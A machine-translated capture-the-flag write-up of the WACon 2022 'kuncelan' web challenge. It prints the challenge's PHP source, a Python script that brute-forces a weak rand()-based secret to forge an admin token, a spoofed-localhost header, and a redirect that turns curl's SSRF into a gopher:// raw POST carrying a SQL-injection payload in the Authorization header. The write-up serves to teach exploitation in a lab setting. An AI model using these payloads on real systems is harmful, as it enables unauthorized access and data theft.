2022 WACon CTF - kuncelan Writeup
WACon 2022 kuncelan(blackbox) Web問題の解説 - LFI, SSRF, Gopherを利用したSQL Injection
この記事はAIによって韓国語から機械翻訳されています。原文と表現が異なる場合があります。
原文(韓国語)を読むkuncelan
lfiが存在する。
<?php
// LOCATION : ./internal_e0134cd5a917.php
error_reporting(0);
session_start();
if (!isset($_SESSION['username']))
{
header('location: ./login.php');
die();
}
if (__FILE__ === $_SERVER['SCRIPT_FILENAME'])
{
die("only in include");
}
function valid_url($url)
{
$valid = False;
$res=preg_match('/^(http|https)?:\\/\\/.*(\\/)?.*$/',$url);
if (!$res) $valid = True;
try{ parse_url($url); }
catch(Exception $e){ $valid = True;}
$int_ip=ip2long(gethostbyname(parse_url($url)['host']));
return $valid
|| ip2long('127.0.0.0') >> 24 == $int_ip >> 24
|| ip2long('10.0.0.0') >> 24 == $int_ip >> 24
|| ip2long('172.16.0.0') >> 20 == $int_ip >> 20
|| ip2long('192.168.0.0') >> 16 == $int_ip >> 16
|| ip2long('0.0.0.0') >> 24 == $int_ip >> 24;
}
function get_data($url)
{
if (valid_url($url) === True) { return "IP not allowed or host error"; }
$ch = curl_init();
$timeout = 7;
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, True);
curl_setopt($ch, CURLOPT_MAXREDIRS, 1);
curl_setopt($ch, CURLOPT_TIMEOUT, $timeout);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION,1);
curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $timeout);
$data = curl_exec($ch);
if (curl_error($ch))
{
curl_close($ch);
return "Error !";
}
curl_close($ch);
return $data;
}
function gen($user){
return substr(sha1((string)rand(0,getrandmax())),0,20);
}
if(!isset($_SESSION['X-SECRET'])){ $_SESSION["X-SECRET"] = gen(); }
if(!isset($_COOKIE['USER'])){ setcookie("USER",$_SESSION['username']); }
if(!isset($_COOKIE['X-TOKEN'])){ setcookie("X-TOKEN",hash("sha256", $_SESSION['X-SECRET']."guest")); }
$IP = (isset($_SERVER['HTTP_X_HTTP_HOST_OVERRIDE']) ? $_SERVER['HTTP_X_HTTP_HOST_OVERRIDE'] : $_SERVER['REMOTE_ADDR']);
$out = "";
if (isset($_POST['url']) && !empty($_POST['url']))
{
if (
$IP === "127.0.0.1"
& $_COOKIE['X-TOKEN'] === hash("sha256", $_SESSION['X-SECRET'].$_COOKIE['USER'])
& strpos($_COOKIE['USER'], 'admin') !== false
)
{
$out = get_data($_POST['url']);
}
else
{
$out = "Only the administrator can test this function from 127.0.0.1!";
}
}
?>
<main role="main" class="container">
<h1 class="mt-5">𝖈𝖚𝖗𝖑:// ?</h1>
<p class="lead">cURL is powered by libcurl , used to interact with websites 🌐</p>
<form method="post" >
<legend><label for="url">Website URL</label></legend>
<input class="form-control" type="url" name="url" style="width:100%" />
<input class="form-control" type="submit" value="👉 Request HTTP 👈">
</form><?php echo $out; ?>
</main>load.phtmlの抽出結果
curl機能はlocalhostからadminのみが使用できるように設定されているが、これは回避可能だ。
function gen($user){
return substr(sha1((string)rand(0,getrandmax())),0,20);
}
if(!isset($_SESSION['X-SECRET'])){ $_SESSION["X-SECRET"] = gen(); }
if(!isset($_COOKIE['USER'])){ setcookie("USER",$_SESSION['username']); }
if(!isset($_COOKIE['X-TOKEN'])){ setcookie("X-TOKEN",hash("sha256", $_SESSION['X-SECRET']."guest")); }getrandmax()で乱数を取得してsha1でハッシュ化し、10バイトだけ抽出して、それをusernameと結合し再度sha256ハッシュ化を行っている。
しかし、getrandmaxは21億程度しかないため、個人のPCでも短時間でハッシュをクラックすることができる。
from arang import *
xtoken = b"b0b32995820dad31a559a8611a610f9b3c57072b8fd757739c3605e50877d2fd"
for i in range(40000000,500000000):
xsecret = he(sha1(str(i)))[:20]
t = he(sha256(xsecret+b"guest"))
if xtoken == t:
print(xsecret)
break
if i % 10000000 == 0:
print(f"[+] {i} : {xsecret} {t}")大体このようにハッシュをクラックしてみると、自分のセッションに対するxsecret値が判明する。
あとはこのxsecretを使って有効なadmin x-tokenを作成すれば、token authを回避できる。
$IP = (isset($_SERVER['HTTP_X_HTTP_HOST_OVERRIDE']) ? $_SERVER['HTTP_X_HTTP_HOST_OVERRIDE'] : $_SERVER['REMOTE_ADDR']);
...
if ( $IP === "127.0.0.1" ){
...これはX-HTTP-HOST-OVERRIDEというヘッダーを追加して127.0.0.1に合わせることで回避が可能だ。
function valid_url($url)
{
$valid = False;
$res=preg_match('/^(http|https)?:\\/\\/.*(\\/)?.*$/',$url);
if (!$res) $valid = True;
try{ parse_url($url); }
catch(Exception $e){ $valid = True;}
$int_ip=ip2long(gethostbyname(parse_url($url)['host']));
return $valid
|| ip2long('127.0.0.0') >> 24 == $int_ip >> 24
|| ip2long('10.0.0.0') >> 24 == $int_ip >> 24
|| ip2long('172.16.0.0') >> 20 == $int_ip >> 20
|| ip2long('192.168.0.0') >> 16 == $int_ip >> 16
|| ip2long('0.0.0.0') >> 24 == $int_ip >> 24;
}これでcurl機能を使えるようになったが、valid_urlという検証関数が存在する。
- http/https schemeのみ使用可能
- hostをパースし、gethostbynameでホストに該当する値をip2longでlong形式に変換
- /24, /20, /16などでlocal ip帯域を検証
色々と回避を試みてみたが、回避できなかった…。
$ch = curl_init();
$timeout = 7;
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, True);
curl_setopt($ch, CURLOPT_MAXREDIRS, 1);
curl_setopt($ch, CURLOPT_TIMEOUT, $timeout);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION,1);
curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $timeout);
$data = curl_exec($ch);ところが、curlのオプションにCURLOPT_FOLLOWLOCATIONが存在する。
302 Redirectionをcurlが処理してくれるため、自分のサーバーに送ってから302 redirectionをかければうまくいきそうだ。
<?php
header("Location: gopher://127.0.0.1:80/_POST%20/internal_1d607d2c193b.php%20HTTP/1.1%0d%0aHost:%20127.0.0.1:80%0d%0aAuthorization:%20Basic%20YWRtaW4nfHwxIzpndWVzdA==%0d%0aContent-Type:%20application/x-www-form-urlencoded%0d%0aContent-Length:%203%0d%0a%0d%0aa=a%0d%0a%0d%0a");
#header("Location: <http://127.0.0.1:80/internal_e0134cd5a917.php>");
#header("Location: <http://127.0.0.1:80/internal_1d607d2c193b.php>");
?>load.phtmlにコメントとして書かれていたinternal_e0134cd5a917.phpファイルをlocationで指定して回すと
next file location おお…
basic authorizationがないと言われる。
guest:guestで送ってみるとSQL : user not foundと表示された。
おそらくbasic authorizationをsql queryの中に入れているようだ。
sqli構文を入れてみるとlocalhostonlyだと言われる。
これは先ほどのように特定のヘッダーなどでは回避できなかった。
Authorizationヘッダーはcurlで他サイトから302で転送されないため、悩んでいたところ、
sqliでテーブルをダンプしてみると、フラグの一部が出てきた。
gopherを使えとのことだ。
header("Location: gopher://127.0.0.1:80/_POST%20/internal_1d607d2c193b.php%20HTTP/1.1%0d%0aHost:%20127.0.0.1:80%0d%0aAuthorization:%20Basic%20YWRtaW4nfHwxIzpndWVzdA==%0d%0aContent-Type:%20application/x-www-form-urlencoded%0d%0aContent-Length:%203%0d%0a%0d%0aa=a%0d%0a%0d%0a");gopherでhttp raw packetを作成して送信すれば
残りのパケットを獲得
**WACon{Try_using_Gophhhher_ffabcdbc}**
コメント